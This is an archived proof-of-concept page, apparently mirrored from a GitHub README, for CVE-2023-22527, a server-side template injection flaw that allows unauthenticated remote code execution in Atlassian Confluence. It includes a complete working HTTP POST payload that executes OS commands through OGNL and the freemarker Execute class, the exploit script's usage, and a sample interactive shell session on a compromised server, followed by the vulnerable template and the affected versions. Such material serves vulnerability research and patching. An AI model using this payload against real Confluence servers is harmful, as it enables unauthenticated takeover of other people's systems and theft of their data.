POC详情: b53a2861edc68c90abe494a5e16c0c19fa32ae74

来源
关联漏洞
标题: Atlassian Confluence 安全漏洞 (CVE-2023-22527)
描述:Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi。 Atlassian Confluence Data Center and Server存在安全漏洞,该漏洞源于存在模板注入漏洞,允许未经身份验证的攻击者在受影响的实例上实现远程代码执行。
描述
This repository presents a proof-of-concept of CVE-2023-22527
介绍
# CVE-2023-22527
This repository presents a proof-of-concept of CVE-2023-22527

# CVE-2023-22527 | RCE using SSTI in Confluence

## Disclamer
This code is a proof of concept of the vulnerability, I'm not pushing anyone to use it on confluence instances they don't own.  
This tool has been developed for research and educational purposes only and I will not be held responsible for any use you may make of it.

## Description

CVE-2023-22527 refers to an ServerSide template injection vulnerability in freemarker engine that allows users to execute command on the webserver.

## Payload:
Here's an example payload
```
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
```

## Help
```md
$ python3 CVE-2023-22527.py -h
usage: CVE-2023-22527.py [-h] [-u URL] [-c COMMAND] [-i]

This is a POC for CVE-2023-22527 (Confluence SSTI)

options:
  -h, --help  show this help message and exit
  -u URL      Url
  -c COMMAND  Command
  -i          Interactive mod
```

## Example
```bash
python3 CVE-2023-22527.py -u  http://127.0.0.1:8092 -i
[DEBUG] Spawning semi-interactive shell ..
$ id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
$ whoami
confluence
$ ls -lha
total 128K
drwxr-xr-x 19 confluence confluence 4.0K Jan 23 08:42 .
drwxr-xr-x  1 root       root       4.0K Jan 20 16:15 ..
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 analytics-logs
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:40 attachments
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 backups
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 bundled-plugins
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:38 .cache
-rw-r-----  1 confluence confluence 6.1K Jan 23 08:42 confluence.cfg.xml
-rw-r--r--  1 confluence confluence    1 Jan 23 08:13 docker-app.pid
drwxr-x---  4 confluence confluence 4.0K Jan 23 08:42 index
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:37 .java
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:43 journal
-rw-r-----  1 confluence confluence    0 Jan 23 08:37 lock
drwxr-x---  4 confluence confluence 4.0K Jan 23 08:42 log
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:13 logs
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 plugins-cache
drwxr-x---  5 confluence confluence 4.0K Jan 23 08:37 plugins-osgi-cache
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 plugins-temp
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:42 shared-home
-rw-r-----  1 confluence confluence  860 Jan 23 08:42 synchrony-args.properties
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:40 temp
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:37 viewfile
drwxr-x---  2 confluence confluence  40K Jan 23 08:46 webresource-temp
```



The vulnerability is located in the file below:
  ./confluence/confluence/template/aui/text-inline.vm


## Vulnerable code:
```java
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")
```

## Affected versions
Confluence Data Center and Server	
- 8.0.x
- 8.1.x
- 8.2.x
- 8.3.x
- 8.4.x
- 8.5.0-8.5.3

## References: 
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
- https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html?subid=1812250057&jobid=106379017&utm_campaign=confluence-critical-advisory_EML-17850&utm_medium=email&utm_source=alert-email
- https://twitter.com/sirifu4k1/status/1749440022942474371
文件快照

[4.0K] /data/pocs/b53a2861edc68c90abe494a5e16c0c19fa32ae74 ├── [1.9K] CVE-2023-22527.py ├── [ 450] docker-compose.yml └── [4.1K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。